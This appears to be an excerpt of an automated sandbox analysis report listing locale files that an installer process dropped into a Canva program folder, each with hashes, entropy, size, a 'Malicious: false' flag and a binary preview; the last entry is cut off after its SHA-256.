Preview:	........W%..e.X...h.`...i.h...j.t...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.#.....+.....0.....8.....@.....H.....O.....V.....].....^....._.....d.........................................a...........i...................................l.................]...........$...........O.................T...........,.....R.....>...........^.................p...........<.....&...........r...........p.............................[....................................................R.....y..... .................+...........P.................w...... ....g ..... ....6!.....!....."....)"....."....<#.....#.....#....5$.....$.....$.....%.....%....J&.....&.....&.....'.....(....K)....})....'..............%+.....+....-,....o,.....,.....-....E................../.....0.....0....l1.....2.....2.....2.....3.....3....x4.....4.....5.....5.....6.....7....>7.....8.....9.....9.....9.....:.....;.....<....O<.....=.....=.....>....E>.....>....p?.....?.....?.....@.....A....6B

C:\Program Files (x86)\Canva\locales\is-4KMJD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1316964
Entropy (8bit):	4.222438704648711
Encrypted:	false
SSDEEP:	12288:g0bF+kiawFCJiDQ6f03QIBRFUc407L5PtzUk4pt+h9bu:g0bPinmJL5ZUV
MD5:	17D2349C9191C0E9D70B03FF3E240B3C
SHA1:	7B425B76CD479273CA092606DBE326A1301FA472
SHA-256:	EB1BD5B8F89B9E9B568912455AD3B8A791F3370A34411E6FC982A661CC1B05AD
SHA-512:	7EC6AD8B7CFC80782B8CA1702BE66B56FFB8AADB307CAFC5F6C4D365FD3FD273FFFF737E496A36F9162EFDCA5189B06A137753BA3A70418F490DEFA9884F2B96
Malicious:	false
Preview:	........x%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.4...w.A...y.G...z.V...\|.\...}.n.....v.....{.......................................................................]...........(.....\.....]...................................t...........h.............................e.......................B...../...........y......................./.............................7.....=...................................a.............................. .....!.....".....#.....#.....$....0%....{%.....%....l&.....&....Q'....d'.....(.....(.....(.....).....).........5+....o+....C,.....,....x-.....-....O....../....r/...../....v0.....1.....1.....1.....2....T3.....3.....3.... 5.....6.....6.....7.....7.....8.....9....]9.....9.....:.....:.....:.....;...._<.....<.....=....F>.....?.....?....#@.....A.....A.....B....\B.....C....XD.....D....7E.....F....HG.....H....cH.....I....JK....HL....}L.....M.....N.....O....P....bQ....GR.....R....:S.....T.....T.....U....VU.....V....rW.....X

C:\Program Files (x86)\Canva\locales\is-52O0P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1358123
Entropy (8bit):	4.034318859603253
Encrypted:	false
SSDEEP:	6144:obtBkiv2nWiuF5uzGtR6cA25tm1vYpiMyj:afdenWzF5uz/cA25tm1vYpiMyj
MD5:	2F628ABBFE91A7738CD47142E42A4CCB
SHA1:	9FB966C32D237E3ADDBED97478CB84697BCF1FE3
SHA-256:	3C8DCE29BCF2B60BCC273229AFCA64EB07A73C729D0D20E35455CC5D933E9A69
SHA-512:	9A1F0A40E8FF8E68DD08DBEA55DCFF45E7BBE76DE45520323832A9004698E6AB30D53ECA58EFE6DB08621F940A80C3AE441E038BCEFA4206CAFAF664E6CC0BFB
Malicious:	false
Preview:	........@%&.e....h.2...i.C...j.O...k.^...l.i...n.q...o.v...p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}...............................#..........1.....8.....9.....:.....?.....m.................<...........7...........&.....x...........b......................\.................'.............................Q...........l.....N.........................................o...........w...................................=.....e...........9...... .....!.....".....#.....$.....%.....&.....'.....(.....(....:).....)....o....K+.....+.....+.....,.....-..........;.....f/....p0.....1....N1....E2....63.....3.....3.....4.....5....56....c6....\7....L8.....8.....8.....9.....:....\;.....;.....<....<>.....?....\?....W@....?A.....A.....A.....B.....C.....C....HD.....E.....F.....F.....G....GH....UI.....I....]J....5K.....K....KL.....L.....M.....N....]O.....O....-Q....@R....!S....rS....^U....HW.....X.....X....FZ....S[.....\....}\.....]....._....._....)`....-a.....b.....b.....b.....d....;e.....e

C:\Program Files (x86)\Canva\locales\is-57DTH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1255925
Entropy (8bit):	4.288346104977189
Encrypted:	false
SSDEEP:	12288:sHU9G7McKNBJhot56d4e/gb0HrWs05Bk3p1FZNViFlV2wtg+NFqIrOlHXAAFwQVV:s0X1u5EM2X
MD5:	44C01878B175E976E75CE036E4D7A495
SHA1:	91ECD7611C7C25F8615F234537819BE42799B288
SHA-256:	7F28D607ED94E339B677CD5556202FB60F7E801E74AF16397EF610C7302F6957
SHA-512:	3AFBFB3D6A95F1D61FE6A409729C768F1E4F0B3B4C1B6E35AF806F0AABCB6FF516CC70E9A112C2C6CEDE88C2778BFAE08A3E6AFFD05C9D5BC8A5DD4A4EC9BDD3
Malicious:	false
Preview:	........r%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.1...w.>...y.D...z.S...\|.Y...}.k.....s.....x.......................................................................T...........F...........x...................................{...........b.........................................z.............................U.................}...........=............................`.....T...........+.....g.....^...........1............ .....!....."....\|#.....$.....%....#&.....'.....'.....(....H(....q)....6...............+.....,....&-....g-.........../....20.....0.....1.....2.....3....[3....{4....L5.....5.....6....#7.....7....i8.....8.....9.....:.....;....b;.....<.....=....N>.....>.....?....C@.....@.....@.....A....EB.....B.....B....wC....,D.....D....%E.....F.....G.....H.....H.....I....^J.....J.....K....FL....$M.....M.....M....@O.....O.....P.....P.....R....<T....mU.....U....0W....AX.....X....lY.....Z.....[....;\.....\.....]....Z^.....^....._....\`....Wa.....b

C:\Program Files (x86)\Canva\locales\is-6QVO3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	551632
Entropy (8bit):	5.40551102269728
Encrypted:	false
SSDEEP:	12288:WM4Hy2Q57BREeApk73K5PqF4N3Mw2juwHzejm0t3lvqbETX9/RSHhIsjcmlLEYuT:+itVzaBRn1WDMN8UpOO5J/ras
MD5:	D5D6200B582B9B12A0BD8C773DEA0474
SHA1:	341650B76AF1C74129A97725673B646B7256D4D6
SHA-256:	F4DA114B473C34E0946B12289F6E802FCEDE2F66013D4F184C729A1F8AE7350E
SHA-512:	1465E7214C4AE818B545778B831B7773F0373726F705160BA4DF33CE3C206A2166C8B6519336FD2B1E405EF6811D2CFDC2A655F1B767BF9B4E083C6A33B34AE4
Malicious:	false
Preview:	........U%..e.T...h.\...i.d...j.p...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.......'.....,.....4.....<.....D.....K.....R.....Y.....Z.....[.....].....w.......................s...........o.................c.................X...........<.....[.................V.....s...........".....U.....h.................L.....]...........G.................<...................................,.....@.................1.....E...........#.....h.............................).......................&.....v.......................T.......................T.......................c.......................P.......................).....t.......................d.................,.......................a.......................\.................$.....s.................B.................(.............................e.......................o................. ...........E.................R.................( ..... ..... ....*!....J!.....!.....!....."....."....."....."....6#....R#

C:\Program Files (x86)\Canva\locales\is-6TVFA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	543303
Entropy (8bit):	5.374575506060356
Encrypted:	false
SSDEEP:	6144:BJoGuBgJYXqY+clpuYsKBoj5z6gLFdUu2bR:BJqGiqQpPU5z62F/oR
MD5:	6E7EEE3C0D7935B4B72FB529227413D8
SHA1:	64643BA51EDCA0C0387073716D68380DF5E2DC7C
SHA-256:	06D13FFC791BB7189F5AFBB166B1DC2BCF9309F04B68E4F16BAACD4B3F625021
SHA-512:	F55A55D9F23463A51F48BD16DEBCC6FCA28EEC4CEFBB3006083E741795EDD9A9EFB8D1126210F4A35558BC698C8A76A43E9E56093A90145137A7854B4A2E44F8
Malicious:	false
Preview:	........]%..e.d...h.l...i.u...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.0.....8.....=.....E.....M.....U.....\.....c.....j.....k.....l.....n.............................N...........B.....]...........5.....z...........&.................!.................P.....k.................8.....K.................0.....A...........;.................:...................................:.....M...........".....`.....w...........c.................^...........6.....].................#.....>.......................&.......................4.................V.....i...........-.....k.....w...........#.....T....._.................8.....B.................P.....`...........S.................%.....z................./.....\|.................m.................>.................6.......................%.......................4.................M.....g...........\|.................. ..... ....F!....t!.....!....Z".....".....".....#....K#....n#.....#.....$....r$.....$.....$

C:\Program Files (x86)\Canva\locales\is-7A3QH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	559523
Entropy (8bit):	5.4511750881399434
Encrypted:	false
SSDEEP:	6144:JF04spOl5qs9TjmXHjvyJeyFodxOINkjK0yGZq5zZyo2ts2H/ktO3:JS4sAKQmXHuJRFozO/u0zq5zAoY/b3
MD5:	3DFCF8B66CE93A258D1631685A137E20
SHA1:	4B10119ACB26C44EDFF2028D27E960B93C0BD812
SHA-256:	5E5D1CDE0FCEB570C20E7485B32F0EF7AD59569B93574FCBBC7AEAD4906E7D14
SHA-512:	17FE50ECD7D44EE5D652B4240CC3B01CF796F9EC11C5FDFE5AF9DE63999F10D2A50842FDF95FA2DBB4982139C34A9DFB11C8BC2261180862652A92F1497692C4
Malicious:	false
Preview:	........]%..e.d...h.l...i.}...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.$...}.6.....>.....C.....K.....S.....[.....b.....i.....p.....q.....r.....t.............................A.................9.................3.....G...........N.................?......................._.......................B.......................Q...................................L.....p...........N.......................r.................-.......................~...........N.....\|.................9.....V.......................%.....v.......................[.......................X.......................E.............................k.......................S.........................................M.............................e.......................j.................7.................".....t.......................e................................... .....5...........2.................'.......................t............ ....$ ....x ..... ..... ..... ....z!.....!....9"

C:\Program Files (x86)\Canva\locales\is-7L1E5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	539844
Entropy (8bit):	5.396781215354528
Encrypted:	false
SSDEEP:	6144:rtptZSTJLUHxk7jZieJVJJxhHLshYfVh85FKybSRLi:rtpmtAkt85FKsSRW
MD5:	90964C1734B1C36442DD69EDBD85882C
SHA1:	BA1FF66B255FE432278BC44860C6C4B3DA975296
SHA-256:	B9439000C1C75565C2F223612079A51971AC54A3786D5B631F20436447929465
SHA-512:	5A6AFC90FF5A3A65E9E2F4347635A82CCBFCC9D1F5D6B206828650AA49A2DCC59D3C8833CBFB9FC7CE8F347A28D718567E1CC300758A2EA5126C67E0967AEDC8
Malicious:	false
Preview:	........~%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s."...t.+...v.@...w.M...y.S...z.b...\|.h...}.z...........................................................................................................x.................^.................G...........'.....B...........-.....q.................8.....b.....r.................F.....X...........F.................,.......................f..................................).....9.................W.....l...........b.................7.......................".....\|................................................................2.............................s.......................L.....y.................:.....n.................].......................m.......................2.....L.....]...........!.....N.....h...........A.......................W.......................A.....w.................M.................;...................................e............ ....l ..... ..... .....!....`!.....!.....!....."....h"....."

C:\Program Files (x86)\Canva\locales\is-7M5V2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	511257
Entropy (8bit):	5.365372926149592
Encrypted:	false
SSDEEP:	12288:syWoBilbWusvbgQ5Max5btohx4Gp7KYjOTy:syWIilbWusB5Max5behx4Gp7KYC2
MD5:	834219D952A58BDB01B40CCE5269D449
SHA1:	C325FDD7E21E993B745233086C9DF4376901E2B4
SHA-256:	9B46EEC8A0B0B568DDC35387CA02C2116BAA7520EFB04D92325FEC17D5091353
SHA-512:	9C28177D8530B24FEDCCDD7B4562A87CDF08567410D82FFC3E5A874474695A18EB533E7D55E4A901B77C873A22BEFF570B5C5CD79B47947B5BF3AF2C38B9D486
Malicious:	false
Preview:	........M%..e.D...h.L...i.]...j.i...k.x...l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}....... .....%.....-.....5.....=.....D.....K.....R.....S.....T.....V.....b.....r.................#.......................r.................".................N.....d...........1.....g.....~...........).....R.....a.................5.....C.................R.....s...........K.......................`.......................o.................-.......................v...........5.....N.......................%.....s.......................G.......................6.......................8.............................p.......................O.....{.................D.....x.................c.......................r.......................X.....y.................F.....n.................R.......................W.....u.................M.......................b.................H................./................._.................O.......................8.....\.....l............ ....\

C:\Program Files (x86)\Canva\locales\is-8I4AD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	548310
Entropy (8bit):	5.5075408976258435
Encrypted:	false
SSDEEP:	3072:21tKv376P+UG5oi2IAD1OaBV08HSrk7D+wfWrDfB+uhAxqOSAq6+xMcwd0uP5qci:21tKvL6KrA5nEBwuBhbkBc5Pg7YIjemK
MD5:	7BA9BF24F9965EF7FF2A9EEA86188EE0
SHA1:	B9953144FB5E519A7A35AE595A29D15BBD34C0F1
SHA-256:	F882072827C75A5C046E29CC4E2468A41CB786199045B58550E978272D338FE8
SHA-512:	768213543C68CAF8CA941B1C7C87E5DDDAAFC4915457A849C83B4FECE528BB7BDA409B99930572DBC6A102FD7DBB29A593073B1D5B894708AB2B2019A938BE2B
Malicious:	false
Preview:	........r%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.(...w.5...y.;...z.J...\|.P...}.b.....j.....o.....w.............................................................................w...........e.................R.................#.......................q.................(.......................$.....y.......................x.................,...........).....}.................k.................+.......................M.................'...........@.................%.....v.......................P.....r.......................6.....F.................@.....U.................2.....A.................D.....Y.................,.....<.......................$................._.....z.................<.....Y.......................?.......................,.................Q.................-.....R.....h...........5.....g.................a.................Y...........4.....F.................l.................S ..... ..... ..... ....0!....N!....`!.....!....<"....z"

C:\Program Files (x86)\Canva\locales\is-8NCS7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	587932
Entropy (8bit):	5.385302506831163
Encrypted:	false
SSDEEP:	12288:3OjnZLqxMDpDgEL6QuaMVWXKz05FlZQmZyMYnYtzLl9ujzx4e5hxkJSW7v40wCJY:3Okm2VqN5Q7
MD5:	606E583292DBEAE8A3742A700D09E1C2
SHA1:	BF49B446173BA81EC3F926D69B87A81C5E233C4E
SHA-256:	C22E274FBC4A033CB8A9A4E9A96F82487DC671EC0AD49B3257939D2A8A751442
SHA-512:	47277EDBFB2DCE8724900C0A7B0231E34DEEE19B268F46C08D56ADECAD38D629D79466C26B701B6F43607F7DCDE55B1BBF6C3D73BDBD7E22096A0D14AD901621
Malicious:	false
Preview:	........F% .e.6...h.>...i.O...j.[...k.j...l.u...n.}...o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.........................'...../.....6.....=.....D.....E.....F.....H.....X.....f.....x...........,...........L.....n...........U.................=...........".....>.................m.................J.....v.................Z.................5...................................>.....b...........@.......................i...............................................#.......................d.......................^.......................d.......................\|.................-.......................0.............................{.......................z.................A...........%.....<.................0.....N.......................$.................*.....F...........Q.................-.....\|.................-.......................z...........,.....L...........J ..... ..... ....8!.....!.....!.....".....".....#....h#.....#.....#....0$....]$....q$.....$....]%.....%

C:\Program Files (x86)\Canva\locales\is-8P47P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	498248
Entropy (8bit):	5.542683564471982
Encrypted:	false
SSDEEP:	6144:g3MKUcRe61TO/AYcNUAvSCZxemvZl1BI4RFcz9RyoxGOGW3IiRMaSOmDE/xWcqdk:g3/LCAYcGC1l5+5dzB
MD5:	02AD118E6E093D71E32291958F5A44FA
SHA1:	111974CF0FBC304B1395A6D68FF3A79A25B72B76
SHA-256:	A615C0756155436781F8E8543D4B4163B7D96CBDF58BA86DDCE8B39C5B7A17C8
SHA-512:	717A438BBEE8D21011C1DA203B5126EF4AC330CD94013A93EEBA518E5E33772A8667A84C368B1A9B2D1E151D8A81E53CD0C5C59C58A578BD4AA1345115C4A49B
Malicious:	false
Preview:	........)%=.e.....h.....i.....j.!...k.0...l.;...n.C...o.H...p.U...q.[...r.g...s.x...t.....v.....w.....y.....z.....\|.....}...............................................................................1.....E.....Y...........^.................%.......................a.................G.................P.....l...........".....Q.....a...........!.....R.....b...........F.........................................K.......................U...................................[.....q.............................j.......................F.......................#.....{.........................................$.............................v.......................f.......................d.......................x................. .....s.......................I.....g.......................;.....M...........%.....b.................F.....e.....{...........7....._.....t...........-.....h.....~.............................m.................;.................7.....J.................. ..... ....l ..... .....

C:\Program Files (x86)\Canva\locales\is-95KAN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	794986
Entropy (8bit):	4.8798900601209185
Encrypted:	false
SSDEEP:	24576:/x1ATZg8/xp1GCj+VRRz085d9tcV03OzPkS:Z1J5Q
MD5:	AC7A72616A544CDB022EDA20B0DC8872
SHA1:	50B7F8363894A7E33042412804EFA2BDA510ABA2
SHA-256:	1847F8517D8F26C856ADBF08DF3996D5F3B7AB61378199C138346BFE29675F01
SHA-512:	D5B3B851A0D6615ECCC1223CFBA6B285AC8387E0C0F9DF1FB5BD95C9A208813B31F56546FC9C624E7F3A12B35AB7E8ACD13EA85025B5F9CF74DEF60AD679A546
Malicious:	false
Preview:	........h%..e.z...h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.!...z.0...\|.6...}.H.....P.....U.....].....e.....m.....t.....{.................................................................N.....n...../...........^...........a.....#.......................=.................N.................)...........".....l........... .................!.......................K...........d.............................p...........;...........,.....K.....&...........m.................q.................4.......................`.............................p.......................).................,.................!...........9.................&.................. ..... ....b!.....!....."....."....."..../#....V#.....#....N$.....$.....$....C%.....%.....%.....&.....&....O'.....'.....'....~(.....(.....)....<).....)....`...............+.....+....b,.....,....U-......................./....30.....0.....0.....1....L2.....2.....2....:3.....3.....3.....3.....4....5.....5

C:\Program Files (x86)\Canva\locales\is-A0VH6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	453011
Entropy (8bit):	6.676159403780886
Encrypted:	false
SSDEEP:	6144:1K2A4c8ADmJUHGF2tuDasg5V5gjkzBMOZQyZV7zeXTA:8Z8Ahwasg5V5gjkzpr/7/
MD5:	D6800784F1138702E4973CC5B074FE6C
SHA1:	A8938CED7FE5A35163C28214EADD96A6F63A8666
SHA-256:	D2C4AEC734BC94FBE7D60666343B4E419BE5E2CD1FF445A8BBF14FB4B8D3D715
SHA-512:	3AD3557908E4BA71A5062AB0BE07832D553E6A3BD56BDD59A719DF65A4D9152950AF2DE25C6C410B6407463A862C92D49E9D0EE863BEF27A792AA128458FC7E7
Malicious:	false
Preview:	.........$..e.....h.&...i.7...j.;...k.J...l.U...n.]...o.b...p.j...q.p...r.\|...s.....t.....v.....w.....y.....z.....\|.....}.............................................................'.....3.....B.....Q...........A.......................9.....b.....n.................`.....r...........".....O.....a.................2.....>.............................f.......................Z.......................R.......................:.......................).......................?.......................E.............................C.....c.....o.................1.....@.............................p.......................S.......................;.............................h.......................e.......................@.....Z.....n................. .............................t.......................].............................g.......................O.....~...................................G.......................Y.......................#.....d.....y.................0.....W.....i...........".

C:\Program Files (x86)\Canva\locales\is-A203V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1170199
Entropy (8bit):	4.270267200548805
Encrypted:	false
SSDEEP:	3072:iOXg1lMf3u3jGVxXD7unXU7AI2HSzhb0Ylf14/QISydDbsh8VBbFKQg5hNDl2Ob:Hw3MvpXD7unLxSydHsh8VBbG5Hld
MD5:	83A0030387AFBE1CD2D6790079FC5024
SHA1:	9D4253D253167AEE6F3BA9CF6F8F376266832D00
SHA-256:	BF2FA4C57095E0BE63E8CD1AE6D2389D6417A91D8C9E1970EEEE5363C46F0D27
SHA-512:	20C92C5C3634A9663D933AA98D9356E18BEB8927F2975778967A65CC25522560784EABECFE99037008689CF3B77093C35D3F109F32AE2DB2160E9798415A3771
Malicious:	false
Preview:	........Q%..e.L...h.T...i.e...j.q...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.!.....)...........6.....>.....C.....K.....R.....Y.....`.....a.....b.....g.............................C.....M...........E.....:...........................................................H...........D...........q...........^...........c.............................w.....].....4.............................]...........Y...........k.............................O.....s.....k...........e.......................?...........w ..... ..... ....v!....."....;"....^"....>#.....#....W$.....$....S%.....%....O&....{&....3'.....'....'(....M(.....(.....).....)..............V+.....+.....+.....,................./.....0.....0....d1.....1....A2.....2.....3....<3.....4.....4....75....c5....K6....$7.....7....38.....8....~9.....9.....9.....:.....;.....;....%<....(=.....=....~>.....>.....?....=A....0B....cB.....C.....D....AE.....E.....F....EG.....G.....G.....H.....I.....I....&J....,K.....L

C:\Program Files (x86)\Canva\locales\is-A3TD8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	493540
Entropy (8bit):	5.454116761923621
Encrypted:	false
SSDEEP:	6144:+pQdZQe2AH5hJ1HNR5yyX+DuH/Fb0WmFosS4Eqsoh7Pwiw5dQH57jnMlvCKMvaKL:+yZ92ejyyIuJmFoszwQH57jUW
MD5:	78A8A4956B1CD09124B448985A839F28
SHA1:	A25BCAB44ED12DD0DD643AA6782903B22B84816B
SHA-256:	AC1431E61F8C6C56EF96860DC8A8DDF840DBF6965AF6B920D811B7E39ADAB6B1
SHA-512:	843BAFCE3E528BA98A3FF537B01D7896F83C22C0AD2E43BBCE83381FAA943D74D7B11B419DAAC0B0F57DE30D5792E3262DEFE9C68F5F4C7CA84B173395D14798
Malicious:	false
Preview:	........n%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v. ...w.-...y.3...z.B...\|.H...}.Z.....b.....g.....o.....w.......................................................................c...........Z.....u...........D.....t.................i...............................................}.......................l.......................k.........................................G.......................K.......................[...................................K.....b...........'.....I.....d.................0.....<.......................+.................3.....>.................?.....M.................7.....?.................2.....A.................4.....<...........$....._.....w...........%.....D.....Z.................<....._.................D.....Q.................M.....y.................6.....G.................3.....K.................O.....j...........e.................S.................>.................P.....].................. ....- ..... ..... ....)!

C:\Program Files (x86)\Canva\locales\is-ADTPI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	458528
Entropy (8bit):	6.664384291438873
Encrypted:	false
SSDEEP:	6144:nRAwX0s66VXNN5zu+E7/56aO/epD659+qjNFEwYHB07ulz:nRA3s6OXNzzt856aO/w65McNFEwmB/
MD5:	6AF4D1577C142B87DABD3262F37634C8
SHA1:	1B6152757B163455E9E1304E1BA1C09DD6593385
SHA-256:	374AED2859320A7287B64A8D1B150F7DE05A931BE3603A541B68DDD64EA361B1
SHA-512:	7F0A6CF88634E852B0E3E3B6B8A0C703602F3F606B8B34183D129F55EA2CE120E1C4D2EE2820FE027F025D422EBD0DFFE5F696303C1306F717129985CC0EF826
Malicious:	false
Preview:	.........$..e.f...h.n...i.v...j.y...k.....l.....m.....o.....p.....q.....r.....s.....t.....v.....w.....\|.....}...................#.....+.....:.....?.....G.....N.....U.....W.....\.....e.....q.........................................C.......................A.......................L.......................P.......................(.....u.......................V.....\|.................q.................#.............................f.......................R.......................h.......................G.....a.....{.................4.....@.............................g.......................o.......................O.......................4.............................^.......................y................. .....i.......................E.....j.................8.....\.....n.................O.....o.......................$.............................................../.................`.....r...........>.....v.................;.....a.....p.................!.....1.......................#.......

C:\Program Files (x86)\Canva\locales\is-B27PQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1148544
Entropy (8bit):	4.309990877698155
Encrypted:	false
SSDEEP:	3072:A4TQMBc+YPbBMDBW6bfrBDNOHIwjAwREJKVMjNiT7llj63rFXlPCpMi5eWWiMJsr:A4THSPbr6bvMa/+c5q4hNkFR
MD5:	DBC465E12C921212C1A3E899E5FD5046
SHA1:	F6F7081E622DF0FC9647DCE0572483899A59E440
SHA-256:	7B06F3B7040901E7DBD2884BA534D43E73013CE0677BC725D53BCCD54759AD5E
SHA-512:	9C3F3E7E7A62A0148789F561C37144F971ECC16C44A4F5A89214CBD7FADE0E1D2CCCD5C106C4718DF84A198262EF139A6530C400F5C0873231009E8B432BD3BC
Malicious:	false
Preview:	........T%..e.R...h.Z...i.t...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}./.....7.....<.....D.....L.....T.....[.....b.....i.....j.....k.....p.............................V.....S.....$.....`.....S.....................................................U.......................;.................f...........P.....p.....S...........n.......................J...........b.....6...................................+.....(.....#...............................................(.....d...........D...........9.....a...... ..... ..... .....!.....!....."....."...."#.....#.....$.....$.....%.....%....q&.....&.....&.....'....7(.....(.....(....^).........i.....*.....+.....,....P-.....-....?...........F/....o/...../....t0.....0.....0....u1....V2.....2.....3.....4.....4....h5.....5.....6....-7....p7.....7.....8....K9.....9.....9.....:.....;....'<....Z<.....=.....>....\|?.....?.....@.....A....0B.....B....pC....<D.....D.....D.....E....gF.....F.....F.....H.....H.....I

C:\Program Files (x86)\Canva\locales\is-C12V6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	571219
Entropy (8bit):	5.764870780434209
Encrypted:	false
SSDEEP:	12288:HlRzWoOB/k0wvZfQfR6HA5bFVP3CUdCe3mhUrMAmW1Qh4Mh59M14scly:HlR9glMe1Qhz53Q
MD5:	75E71F0C6E72AC4F9DAD168BA307D2B0
SHA1:	41129512809F2AFAE64B04FB1EFA81D9C22B8389
SHA-256:	C8F76EF189D14A0C75407DC40348CD9171F5997A94A4961D86152CEA2258ECF6
SHA-512:	EBB279F36D612CB1D94E9333140CACFC9E7946A646CF28CD75F55AB20680B4ED5645AC9887FA528A07F8BB03FE942D8E104D63AF1B11CB9F79826F34E53DBEF6
Malicious:	false
Preview:	........a%..e.l...h.t...i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.&...\|.,...}.>.....F.....K.....S.....[.....c.....j.....q.....x.....y.....z.....\|.............................b...........].....y...........G.................&.......................s.................(.................................................................;.....a...........W.................4.......................J.......................v...........:.....V...........g.................C.............................O.....r.......................6.....D.................F.....Z.................H.....Z.................@.....P.................'.....7.................'.....8...........".....o.................!.....>.....U.......................E.................5.....J.................k.................5.....S.....j.................C....._...........<.....................................................1.....\............ ....C ....T ..... ..... .....!.....!.....!.....!....("

C:\Program Files (x86)\Canva\locales\is-CLC4I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	801665
Entropy (8bit):	5.134245422974978
Encrypted:	false
SSDEEP:	12288:Xc/F4PuvV+8PomR0D2nyBO3QU56JhEFZWPOWojYzQYrNwadcJKwU8ueco/9NjjFE:Xcm6V5vWR
MD5:	4144860C649699B6237186D186697910
SHA1:	A1774F0AE15891A80D40202723E4DF4044788D40
SHA-256:	2E0B43AFA9C69288586ED404564EE2F420A87FF7936BDB48EFBF21CE8F58F468
SHA-512:	D1E1FF2BDC0E746E84C36B221C7CBBD49A905B6353A23914F1F9F4A9314F495B1D273230C99488F9A3B61980211D90E996165B3DF7A3AA761E374D2A35AC8CD9
Malicious:	false
Preview:	........V%..e.V...h.^...i.f...j.r...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.!.....)...........6.....>.....F.....M.....T.....[.....\.....].....b.....z.............................l.....................................................'.....\.......................:...........E.................H.................7...........C.................\|...........y...........Z...........J.....i........................................7.....c.....A.......................<...................................6.....X...........A.................9.................+...........J.................L................./...........+.....w.............................. ..... ....q!.....!....."....."....(#....n#.....#.....$.....$.....$.....$....g%.....%....'&....H&.....'.....'.....(....J(.....(....K).....).....)....W.........2+....X+....,.....,....$-....U-....%...........\/...../....d0.....1.....1.....1.....2....13.....3.....3....[4.....4.....5....D5.....5....x6.....6

C:\Program Files (x86)\Canva\locales\is-D6JT0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1211426
Entropy (8bit):	4.285504136009603
Encrypted:	false
SSDEEP:	3072:EzCplnpUoc9rQtU2BxfwUV/BB0ZV1d+uxlRLiW3Jd1eTByntDPtDl+p1as4u/8W0:Ez/Xlexoev85P5+hgr
MD5:	5FE0B17532CFC8523F97EE17DBA844A7
SHA1:	6233FD3670BCB32C4EFEAEF7BDB41ADEE6EFD825
SHA-256:	352F833B4F936369216EEAA1F8C5E652B34A36CC143FF9A872B0608E4E88957C
